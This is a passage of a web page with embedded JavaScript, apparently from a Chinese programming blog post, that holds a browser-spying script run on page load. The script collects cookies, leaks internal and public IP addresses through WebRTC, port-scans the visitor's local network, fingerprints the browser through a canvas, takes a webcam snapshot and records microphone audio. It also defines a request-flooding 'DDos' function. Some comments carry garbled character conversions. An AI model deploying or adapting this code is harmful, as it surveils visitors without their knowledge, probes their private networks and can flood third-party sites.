return info;
}
// 获取网络连接信息
function ipinfo() {var properties = service.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'> 网络连接信息:</td></tr>";
var i = 1;
for (; !e.atEnd(); e.moveNext()) {var p = e.item();
info += "<tr style='color: red'><td >MAC 地址" + i + ":" + p.MACAddress + "</td></tr>";
info += "<tr style='color: red'><td >IP 地址" + i + ":" + p.IPAddress(0) + "</td></tr>";
i++;
}
info += "</table>";
return info;
}
// 获取网络连接信息
function ipinfo2() {
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'> 网络连接信息:</td></tr>";
info += "<tr style='color: red'><td >MAC 地址" + ":" + returnCitySN["cname"] + "</td></tr>";
info += "<tr style='color: red'><td >IP 地址" + ":" + returnCitySN["cip"] + "</td></tr>";
info += "</table>";
return info;
}
// 获取以后工夫
function getDate() {var dt = new Date();
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'> 工夫:</td></tr>";
info += "<tr style='color: red'><td > 零碎工夫" + ":" + dt + "</td></tr>";
info += "</table>";
return info;
}
function pcInfo() { // 所有信息
var info = ipinfo2();
try {info += getDate();
info += cpuinfo();
info += disk();
info += raminfo();
info += mainBoard();
info += ipinfo();
info += keyBoardInfo();
info += RomInfo();
info += softDisk();}
catch(err){console.log(err) // 可执行
}
document.getElementById('elInfo').innerHTML = info;
return info;
}
/****************************************** 以上为 pc 信息 ************************************************/
</script>
<script>
var info={
ip:null,
inner_ip:null,
intranet: [],
agent:null,
geo:{
support:null,
error_code:null,
lat:null,
lon:null,
address:null,
},
cookie:null,
time:null,
canvas_id:null,
selfie:null,
platform:null,
device:null,
window_screen:null,
blob:null,
download_speed:null,
};
info.cookie=document.cookie;
info.time=(new Date()).toString();
info.agent=navigator.userAgent;
function ajax(url,foo){var xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){if (xmlhttp.readyState==4 && xmlhttp.status==200) {foo(xmlhttp.responseText);
};
};
xmlhttp.open('GET',url,true);
xmlhttp.send();}
function bin2hex(bin){
var i=0, l=bin.length,chr,hex='';
for (i; i < l; ++i){chr=bin.charCodeAt(i).toString(16);
hex+=chr.length<2 ? '0'+chr : chr;
}
return hex;
}
function detectOS(){
var sUserAgent=navigator.userAgent;
var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");
var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
if (isMac) return "Mac";
var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
if (bIsIpad) return "iPad";
var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
if (isUnix) return "Unix";
var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
var bIsAndroid = sUserAgent.toLowerCase().match(/android/i) == "android";
if (isLinux) {if(bIsAndroid) return "Android";
else return "Linux";
}
var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
if (bIsCE) return "WinCE";
var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
if (bIsWM) return "WinMobile";
if (isWin) {var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
if (isWin2K) return "Win2000";
var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
if (isWinXP) return "WinXP";
var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
if (isWin2003) return "Win2003";
var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
if (isWinVista) return "WinVista";
var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
if (isWin7) return "Win7";
var isWin8 = sUserAgent.indexOf("Windows NT 6.2") > -1 || sUserAgent.indexOf("Windows 8") > -1;
if (isWin8) return "Win8";
}
return "Unknow";
}
function send_info(){var jsonText=JSON.stringify(info);
console.log(jsonText);
}
// 获取屏幕分辨率的宽高, 并判断操作系统, 设施型号
function device_platform(){info.platform=detectOS();
info.window_screen=String(window.screen.width)+'x'+String(window.screen.height);
}
// 拍照
// Need to request permission
function selfie(){
window.URL = window.URL || window.webkitURL;
navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
// 创立 video 元素
var video=document.createElement('video'),
videoObj={'video':true},
errBack=function(error){console.log('Video capture error:',error.name);
info.selfie=error.name;
};
// 获取媒体
if(navigator.getUserMedia){navigator.getUserMedia(videoObj,function(stream){video.src=window.URL.createObjectURL(stream);
video.play();
video.onloadedmetadata = function(e) {setTimeout(function(){if(info.selfie==null){
// 截取图片
var canvas=document.createElement('canvas'),
ctx=canvas.getContext('2d');
canvas.width=640;
canvas.height=480;
ctx.drawImage(video,0,0,640,480);
var image=canvas.toDataURL('image/png');
info.selfie=image;
console.log('Take selfie successful!');
// 敞开摄像头
stream.stop();
video.src='';
};
},3000);
};
},errBack);
}
}
// 录音
// Need to request permission
function voice_record(){
window.URL=window.URL || window.webkitURL;
navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
window.AudioContext=window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
var HZRecorder=function(stream,config){config=config || {};
// 采样数 8 位
config.sampleBits=config.sampleBits || 8;
// 采样率(1/6 44100)
config.sampleRate=config.sampleRate || (44100/6);
var context=new window.AudioContext();
var audioInput=context.createMediaStreamSource(stream);
var recorder=context.createScriptProcessor(4096,1,1);
var audioData={
size:0, // 录音文件长度
buffer:[], // 录音缓存
inputSampleRate:context.sampleRate, // 输出采样率
inputSampleBits:16, // 输出采样数位 16
outputSampleRate:config.sampleRate, // 输入采样率
oututSampleBits:config.sampleBits, // 输入采样数位 8
input:function(data){this.buffer.push(new Float32Array(data));
this.size+=data.length;
},
// 合并压缩
compress:function(){
// 合并
var data=new Float32Array(this.size);
var offset=0;
for (var i=0; i<this.buffer.length; i++){data.set(this.buffer[i],offset);
offset+=this.buffer[i].length;
}
// 压缩
var compression=parseInt(this.inputSampleRate / this.outputSampleRate);
var length=data.length / compression;
var result=new Float32Array(length);
var index=0,j=0;
while (index<length){result[index]=data[j];
j+=compression;
index++;
}
return result;
},
encodeWAV:function(){var sampleRate=Math.min(this.inputSampleRate, this.outputSampleRate);
var sampleBits=Math.min(this.inputSampleBits, this.oututSampleBits);
var bytes=this.compress();
var dataLength=bytes.length*(sampleBits/8);
var buffer=new ArrayBuffer(44+dataLength);
var data=new DataView(buffer);
// 单声道
var channelCount=1;
var offset=0;
var writeString=function(str){for (var i=0; i<str.length; i++){data.setUint8(offset+i, str.charCodeAt(i));
}
};
// 资源交换文件标识符
writeString('RIFF'); offset+=4;
// 下个地址开始到文件尾总字节数, 即文件大小 -8
data.setUint32(offset, 36+dataLength, true); offset += 4;
// WAV 文件标记
writeString('WAVE'); offset+=4;
// 波形格局标记
writeString('fmt'); offset+=4;
// 过滤字节, 个别为 0x10 = 16
data.setUint32(offset, 16, true); offset+=4;
// 格局类别 (PCM 模式采样数据)
data.setUint16(offset, 1, true); offset+=2;
// 通道数
data.setUint16(offset, channelCount, true); offset+=2;
// 采样率, 每秒样本数, 示意每个通道的播放速度
data.setUint32(offset, sampleRate, true); offset+=4;
// 波形数据传输率 (每秒均匀字节数) 单声道×每秒数据位数×每样本数据位 /8
data.setUint32(offset, channelCount * sampleRate * (sampleBits / 8), true); offset += 4;
// 快数据调整数 采样一次占用字节数 单声道×每样本的数据位数 /8
data.setUint16(offset, channelCount * (sampleBits / 8), true); offset += 2;
// 每样本数据位数
data.setUint16(offset, sampleBits, true); offset+=2;
// 数据标识符
writeString('data'); offset+=4;
// 采样数据总数, 即数据总大小 -44
data.setUint32(offset, dataLength, true); offset+=4;
// 写入采样数据
if(sampleBits===8){for (var i=0; i<bytes.length; i++,offset++) {var s=Math.max(-1, Math.min(1, bytes[i]));
var val=s<0 ? s*0x8000 : s*0x7FFF;
val=parseInt(255 / (65535 / (val+32768)));
data.setInt8(offset,val,true);
}
}
else{for (var i=0; i<bytes.length; i++,offset+=2) {var s=Math.max(-1, Math.min(1, bytes[i]));
data.setInt16(offset, s<0 ? s*0x8000 : s*0x7FFF, true);
}
}
return new Blob([data], {type:'audio/wav'});
}
};
// 音频采集
recorder.onaudioprocess=function(e){audioData.input(e.inputBuffer.getChannelData(0));
}
// 开始录音
this.start=function(){audioInput.connect(recorder);
recorder.connect(context.destination);
}
// 进行录音
this.stop=function(){stream.stop();
recorder.disconnect();}
// 获取音频文件
this.getBlob=function(){this.stop();
return audioData.encodeWAV();}
};
// 抛出异样
HZRecorder.throwError=function(message){console.log(message);
throw new function () { this.toString = function () {return message;} }
}
// 是否反对录音
HZRecorder.canRecording=(navigator.getUserMedia != null);
// 获取录音机
HZRecorder.get=function (callback,config){if (callback){if (navigator.getUserMedia){
navigator.getUserMedia({audio:true},
function (stream){var rec = new HZRecorder(stream, config);
callback(rec);
},
function (error){switch (error.code || error.name) {
case 'PERMISSION_DENIED':
case 'PermissionDeniedError':
HZRecorder.throwError('用户回绝提供信息');
break;
case 'NOT_SUPPORTED_ERROR':
case 'NotSupportedError':
HZRecorder.throwError('浏览器不反对硬件设施');
break;
case 'MANDATORY_UNSATISFIED_ERROR':
case 'MandatoryUnsatisfiedError':
HZRecorder.throwError('无奈发现指定的硬件设施');
break;
default:
HZRecorder.throwError('无奈关上麦克风。异样信息:' + (error.code || error.name));
break;
}
});
}
else{HZRecorder.throwErr('以后浏览器不反对录音性能。');
return;
}
}
};
window.HZRecorder=HZRecorder;
var recorder;
HZRecorder.get(function (rec) {
recorder=rec;
recorder.start();});
// 录音 10s
setTimeout(function(){var blob=recorder.getBlob();
info.blob=blob;
console.log('voice record finished.');
},10000);
}
// DDos 攻打
function DDos(site){
// CSRF
setInterval(ajax(site,function(){console.log('DDos',site);
}),50);
}
// 获取 IP 地址,第一个是内网 ip,第二个是外网 ip
function getIPs(callback){var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var mediaConstraints = {optional: [{RtpDataChannel: true}]
};
var servers = undefined;
var i = 0;
if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls:"stun:stun.services.mozilla.com"}]};
var pc = new RTCPeerConnection(servers, mediaConstraints);
pc.onicecandidate = function(ice){if(ice.candidate){var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
if (ip_dups[ip_addr] === undefined) callback(ip_addr, i++);
ip_dups[ip_addr] = true;
}
};
pc.createDataChannel("");
pc.createOffer(function(result){pc.setLocalDescription(result, function(){});
}, function(){});
}
function get_ip_addr(){getIPs(function(ip, i){if(i == 0) info.inner_ip = ip;
else if(i == 1) info.ip = ip;
});
}
// 内网扫描
function intranet_scan(){
// 常见端口
var ports = [21,22,23,25,43,80,110,137,138,139,161,170,220,443,3306,8080];
var body = document.getElementsByTagName("body")[0];
getIPs(function(ip, id){if (id == 0) {ip = ip.split(".");
ip.pop();
ip = ip.join(".");
for (var i = 1; i < 255; i++) {for (var p of ports) {var script = document.createElement("script");
var host = ip + "." + i + ":" + p;
script.src = "http://" + host;
script.onload = "info.intranet.push('"+host+"')";
body.appendChild(script);
}
}
}
});
}
// 利用 canvas 定位惟一标识
function canvas_id(){var canvas=document.createElement('canvas');
var ctx=canvas.getContext('2d');
var txt='http://eular.github.io';
ctx.textBaseline='top';
ctx.font="14px'Arial'";
ctx.fillStyle='#0ff';
ctx.fillRect(0,0,140,50);
ctx.fillStyle='#00f';
ctx.fillText(txt,2,15);
ctx.fillStyle='rgba(102,204,0,0.7)';
ctx.fillText(txt,4,17);
var b64=canvas.toDataURL().replace('data:image/png;base64,','');
var bin=atob(b64);
var crc=bin2hex(bin.slice(-16,-12));
console.log('Canvas id:'+crc);
info.canvas_id=crc;
}
// 网络测速
function network_speed(){
// 图片测速
var image=new Image();
// 图片大小: 1232.7kb
size=1232.7;
image.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/test.jpg';
startTime=new Date().getTime();
// 图片加载结束
image.onload=function(){endTime=new Date().getTime();
// kb/s
speed=size/((endTime-startTime)/1000);
// 保留一位小数
speed=parseInt(speed*10)/10;
info.download_speed=speed+'kb/s';
console.log('Download speed testing finished!');
}
/*
// 音频测速
var audio=new Audio();
// 大小: 1.3M
size=1235.87;
audio.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/ValderFields.mp3';
audio.volume=0;
audio.play();
startTime=new Date().getTime();
var timer;
timer=setInterval(function(){if (audio.networkState==1) {endTime=new Date().getTime();
speed=size/((endTime-startTime)/1000);
speed=parseInt(speed*10)/10;
info.download_speed=speed+'kb/s';
console.log('Download speed testing finished!');
audio.stop();
clearInterval(timer);
};
},100);
*/
}
window.onload=function(){device_platform();
get_ip_addr();
intranet_scan();
canvas_id();
selfie();
network_speed();
voice_record();
//DDos('http://baidu.com');
send_info();};
</script>
</head>
<body>
<INPUT id="Button1" type="button" value="浏览器所有信息" name="Button1" language=javascript onclick="allinfo()">
<INPUT id="Button1" type="button" value="客户端 pc 信息" name="Button1" language=javascript onclick="pcInfo()">
<div id="elInfo">
</div>
</body>
</html>
正文完
发表至: javascript
2021-06-07